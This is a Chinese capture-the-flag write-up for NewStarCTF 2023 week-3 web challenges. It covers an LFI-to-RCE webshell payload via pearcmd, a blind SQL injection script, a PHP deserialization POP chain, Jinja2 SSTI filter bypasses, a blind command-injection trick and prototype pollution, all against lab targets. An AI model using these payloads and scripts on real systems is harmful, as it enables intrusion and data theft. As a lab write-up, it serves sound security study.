NewStar2023 web-week3-wp

Include 🍐

题目说LFI(本地文件包含) to RCE(远程代码执行),去搜了搜就有思路了。

看看这些博客写的原理,讲的都挺好的:

Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)

PHP-从LFI到RCE(上)_lfi to rce-CSDN博客

LFI TO RCE之pearcmd.php的妙用_Aiwin-Hacker的博客-CSDN博客

payload:

<url>?file=/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php

前面试了试但是出不来,好像是url直接传对<>这个编码有点问题,所以直接bp上做了。

然后RCE:

 

medium_sql

手注union被完全ban掉了,估计是preg_match的正则表达式,大小写也绕不过,其他方式也没有什么回显。

想用用自动化工具吧,结果尬住了,开始sqlmap没梭出来....

能梭出来库名是ctf,但是表名好像有些问题。

那就试试手工注入,尝试了个布尔注入的经典payload:

?id=TMP0919' And if(1>0,1,0)--+

?id=TMP0919' And if(0>1,1,0)--+

前者有正常回显,后者无回显,说明存在布尔盲注漏洞。

接下来就是写脚本开梭,贴一个官方wp的布尔盲注脚本:(一定要注意缩进)

复制代码
import requests
import time

def condition(res):
    if 'Physics' in res.text:
        return True
    return False

result = ''
_url = 'http://0fa5c922-4fa4-4f3d-bdd9-63c0e81d8ffa.node4.buuoj.cn:81/'

for _time in range(1, 1000):
    print("time: %d" % (_time))
    
    left = 32
    right = 128
    
    while (right > left):
        mid = (left + right) // 2
        
        # 获取当前库表名        
        # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))In({mid})),1,0)%23" 
        
        # 获取字段名        
        # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))In({mid})),1,0)%23"
        
        # 获取字段值
         url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag) fRom (here_is_flag)) fRom {_time} FOr 1)))) In ({mid})),1,0)%23"
        
        # 防止请求速率过快
        time.sleep(0.2)
        res = requests.get(url=url)
        
        if (condition(res)):
            result += chr(mid)
            print(result)
            break
        else:

            # 获取当前库表名            
            # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))>({mid})),1,0)%23"

            # 获取字段名            
            # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))>({mid})),1,0)%23"

            # 获取字段值
             url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag) fRom (here_is_flag)) fRom {_time} FOr 1))))>({mid})),1,0)%23"
            
            res = requests.get(url=url)
            
            if (condition(res)):
                left = mid
            else:
                right = mid
复制代码

 

POP Gadget

一道简单的pop链构造题目:

打开就是反序列化源码:

复制代码
 <?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']); 
复制代码

反序列化题目,有两种入手点,一是从入口推到出口,但是实施起来有点困难,因为不一定可以一步到位;

我个人比较喜欢倒退,也就是从出口推到入口,这样思路很清晰。

首先看看这几个函数里面执行的东西,哪里可以作为出口:

显然

如果我们定义func为system,var为ls或者其他命令,就可以RCE。

(这里我最开始想的是func定义为eval,var定义为system('ls'),但是好像不行,后面试的时候直接system('ls')出回显了就直接这样做了)

所以WhiteGod是出口,这里我只解贴我的分析部分:

复制代码
 <?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()  //尝试将func类当作函数使用,触发__invoke()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()  //尝试将对象当成函数时触发
    {
        $this->obj->getStr(); //没有这个方法,触发__call
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);//在不可访问的属性上访问unset,触发__unset
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    //让func="system",传参var="ls";,出口
    }
}

@unserialize($_POST['pop']); 
复制代码

直接构造:

复制代码
 <?php
class Begin{
    public $name;
}

class Then{
    public $func;

}

class Handle{
    public $obj;

}

class Super{
    public $obj;
}

class CTF{
    public $handle;

}

class WhiteGod{
    public $func;
    public $var;
}
//@unserialize($_POST['pop']);

$b = new Begin();
$t = new Then();
$s = new Super();
$h = new Handle();
$c = new CTF();
$w = new WhiteGod();

$b->name = $t;
$t->func = $s;
$s->obj = $h;
$h->obj = $c;
$c->handle = $w;

$w->func = "system";
$w->var = "ls"; // "ls /" //"cat /flag"

echo urlencode(serialize($b));
复制代码

然后POST传pop就行了,这里还要注意我url编码把空格整成+加号了,这个有点问题,需要人为改成空格的url编码,也就是%20,上一周我也遇到这个问题了。

O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A4%3A%22func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7D%7D%7D%7D%7D%7D

 

GenShin

这个题目,难道是那个游戏????!!!

结果进去后发现不是....

是一个SSTI注入,还没到原型链污染那个修改属性的难度,只需要一步步挂到os然后RCE就可以了。

推几个文章,也是对我启发很大:

[Writeup]2022 NewstarCTF_Week3(Web部分) - notbad3 - 博客园 (cnblogs.com)

CTFshow SSTI - _Nov1ce - 博客园 (cnblogs.com)

【精选】ssti详解与例题以及绕过payload大全_ssti绕过空格_HoAd's blog的博客-CSDN博客

还有魔术方法的使用1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)

__dict__   :保存类实例或对象实例的属性变量键值对字典
__class__  :返回一个实例所属的类
__mro__    :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__  :以元组形式返回一个类直接所继承的类(可以理解为直接父类)__base__   :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组
// __base__和__mro__都是用来寻找基类的
__subclasses__  :以列表返回类的子类
__init__   :类的初始化方法
__globals__     :对包含函数全局变量的字典的引用__builtin__&&__builtins__  :python中可以直接运行一些函数,例如int(),list()等等。                  这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__)

 

首先进去:

信息泄露?

我不信,先看一眼http的response:

有个奇怪的目录,我们访问:

随便输了几个东西,发现有回显,那么这里应该就是RCE的点了:

首先尝试{{7*7}}这个经典payload:

既然有过滤,那么思路就对了,就是SSTI。

过滤了{{}},方法就是用{%print()%},然后里面照常输,而且随便输了输发现单引号也被过滤了,那么我们就使用双引号:

{%print([].__class__.__base__.__subclasses__())%}
#或者 {%print("".__class__.__base__.__subclasses__())%}

回显7个7,说明是jinja2模板。

首先肯定是__class__找父类,然后__base__继续梭,然后__subclasses__拿到所有类,这里关键词都没过滤,还挺顺利的:

接下来就是从这些类里面挖出能用os的类,然后在这个类的基础上进行RCE:

借用一个脚本开梭:

复制代码
import requests
import re
import time
for i in range(0,666):
    time.sleep(0.04)
    url = "http://00e853bf-8b84-44e9-8f34-b05578961d58.node4.buuoj.cn:81/secr3tofpop"
    payload = '{% print([].__class__.__base__.__subclasses__()[' + str(i) + ']) %}' #注意引号
    get_data = {"name": payload}
    s = requests.get(url=url,params=get_data) #POST多用data,GET的话就用params
    time.sleep(0.06)
    #print(s.text)#这个没有更好,加这个可以看看每个包都回应了啥
    if 'os' in s.text:
        print(i)
        print(s.text)
    else:
        continue
复制代码

回显了好几个,但不是每个都有用,因为我只是找os这个字符串,这里我试了前三个都寄了,准备另找思路换一个的时候,第309个类成功了:

(补充,这里其实也可以找WarningMessage这个类,里面包含了os,改一下payload就行了)

但后面准备用init的时候,发现也被过滤了,但是可以用["__in"+"it__"]拼接绕过,而且popen也被过滤了,突然卡住了,搜了搜payload发现这个方法能读所有文件:

{%print([].__class__.__base__.__subclasses__()[309]["__in"+"it__"].__globals__["os"].listdir("."))%}

有时候会不稳定报错,多send几次就有了:

再利用一个__builtins__来读文件的payload:

{%print([].__class__.__base__.__subclasses__()[309]["__in"+"it__"].__globals__["__builtins__"].open("flag","r").read())%}

补:看了看别人师傅的,用了chr()就能输出popen函数了,也可以学习学习:

[wp]NewStarCTF 2023 WEEK3|WEB-CSDN博客

我们可用使用eval 就是eval(__import__('os').popen('ls /').read())

所以发现flag之后也是一样的改为__import__('os').popen('cat /flag').read() 进行chr编码就行:

?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(10)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}

 

R!!!C!!!E!!!

打开一看:

逻辑挺简单,一个简单的反序列化,但是这个preg_match的正则表达式看起来没过滤关键函数,但是这些命令,是很典型的反弹shell命令。

想想就知道了,这是一道ban掉了反弹shell等操作的无回显RCE。

随便输个payload上去,果然如此,只出了个alright:

反弹shell不行,tee不行,curl不行DNS带出来也不行,挂木马不行,> 和 & ban了,好像重定向写文件也不行了。

绷不住了,看了半天怎么感觉全ban完了,哪里还有漏网之鱼????

后来想起来了命令注入的过滤思路,就是在命令中加俩特殊字符如两个单引号 ' '   或者两个反引号` `之类的应该就能实现绕过,这里推荐用tee命令,它可以把执行的命令写入文件里,然后我们访问这个文件就能看到回显内容了。

直接传(记得+改空格%20),然后访问文件a:

同样的方法:

OtenkiGirl

看到题目介绍的pollute就猜到是原型链污染。但当时没做出来,看了官方wp才复现出来......

下载源码也看出来就是JavaScript的原型链污染问题。

可以参考:JavaScript 原型链污染 (yuque.com)

这是填写页面,审计一下源码看看哪里可以RCE:

 

随便写了几个参数,发现是JSON数据格式提交的,那么这里显然可以改包用__proto__污染属性。

而且网页上显示联系方式和理由必填,对应上来就是contact和reason必须写。

response:

看看routes里的路由源码,在info先看到传参部分:

那这里可以在/info路由里post传ts的参数,我可以传ts=0,改变0的值就是获取到指定时间戳之后的信息。

因为没有进行任何操作,所以现在什么都没有。

再去getinfo()看看:

这里有一个值得注意的点:

// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);

这是什么意思呢,结合注释能看出来,

首先声明了一个变量minTimestamp,将其初始化为CONFIG.min_public_timeDEFAULT_CONFIG.min_public_time的日期对象的时间戳。这里的CONFIG.min_public_timeDEFAULT_CONFIG.min_public_time表示了movie的最小公开时间。

接下来,代码使用Math.max函数将timestampminTimestamp比较,并返回较大的值。timestamp是另一个变量,表示某个数据的时间戳。通过执行这个比较操作,可以确保timestamp的值不早于minTimestamp,也就是不早于movie的最小公开时间。

感觉这个min_public_time在config文件里有说明,我们去找找:

嗯???!!!

结果config里面没有min_public_time设置,那么就只能执行这个config.default里的min_public_time了。

试想,如果我们利用原型链污染能把这个min_public_time属性给污染成为我们想要的日期,是不是就能绕过最早时间限制,获取任意时间的数据???

再继续翻翻源码,结果在submit源码里找到原型链污染的常客了,merge()函数:

下面的成功部分就是注入点:

所以我们可以在前面抓包那里加一个,注入data['__proto__']['min_public_time']的值即可,这个值取一个很早很早的时间戳,就能获取到前段时间的数据。

游戏结束。

submit污染放包:

我们直接hackbar上在info路由上传ts=0,获取全部信息,最终发现其中一个含flag的信息:

posted @   Eddie_Murphy  阅读(539)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示